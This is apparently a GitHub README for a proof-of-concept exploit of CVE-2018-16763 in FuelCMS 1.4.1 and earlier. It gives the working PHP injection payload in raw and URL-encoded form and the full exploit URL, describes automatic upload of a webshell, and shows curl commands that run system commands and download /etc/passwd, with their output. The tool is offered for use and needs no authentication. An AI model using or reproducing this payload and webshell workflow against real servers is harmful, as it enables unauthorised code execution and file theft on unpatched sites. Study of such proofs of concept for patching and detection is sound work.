CVE-2018-16763 PoC — FUEL CMS 注入漏洞

Description

Exploit to trigger RCE for CVE-2018-16763 on FuelCMS <= 1.4.1 and interactive shell. 

Readme

# CVE-2018-16763 - FuelCMS <= 1.4.1 RCE

<p align="center">
    Exploit to trigger RCE for CVE-2018-16763 on FuelCMS <= 1.4.1 and interactive shell.
    <br>
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## Features

 - [x] Automatically uploads a php webshell API in FuelCMS using CVE-2018-16763.
 - [x] Execute system commands via an API with `?action=exec`.
 - [x] Download files from the remote system to your attacking machine with `?action=download`.

## Usage

**Requirements**: Nothing is required, this exploit is unauthenticated.

### Step 1: Upload the webshell plugin

First, you need to start the interactive [console.py](console.py) to execute commands and download remote files. It will use CVE-2018-16763 php code injection in the `filter` parameter to upload a php webshell API in FuelCMS using `file_put_contents`. The payload used is the following:

```
'+pi(print($a='file_put_contents'))+$a($_POST["d0eb3f9a"],$_POST["9bc30f43"])+'
```

This payload urlencoded gives:

```
%27%2Bpi%28print%28%24a%3D%27file%5Fput%5Fcontents%27%29%29%2B%24a%28%24%5FPOST%5B%22d0eb3f9a%22%5D%2C%24%5FPOST%5B%229bc30f43%22%5D%29%2B%27
```

The final exploit URL is:

```
http://127.0.0.1:10080/fuel/pages/select/?filter=%27%2Bpi%28print%28%24a%3D%27file%5Fput%5Fcontents%27%29%29%2B%24a%28%24%5FPOST%5B%22d0eb3f9a%22%5D%2C%24%5FPOST%5B%229bc30f43%22%5D%29%2B%27
```

Now the interactive [console.py](console.py) performs a POST request to this URL to upload [./webshell/webshell.php](./webshell/webshell.php) into Fuel CMS.

![](./.github/shell_autoupload.png)

### Step 2.1: Executing commands

You can now execute commands by sending a GET or POST request to http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php with `action=exec&cmd=id`:

```sh
$ curl -X POST 'http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php' --data "action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","exec":"id"}
```

You can also access it by a GET request from a browser.

### Step 2.2: Downloading files

You can also download remote files by sending a GET or POST request to http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php with `action=download&cmd=/etc/passwd`:

```sh
$ curl -X POST 'http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php' --data "action=download&path=/etc/passwd" -o-
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
```

You can also download a remote file from a browser with a GET request.

### Step 3: The interactive console

When your webshell is active, you can now use the interactive [console.py](console.py) to execute commands and download remote files.

https://user-images.githubusercontent.com/79218792/171498197-2fb8a7bd-45b0-4fd7-86a1-9bb74aa31664.mp4

## References
 - https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4

File Snapshot

Remarks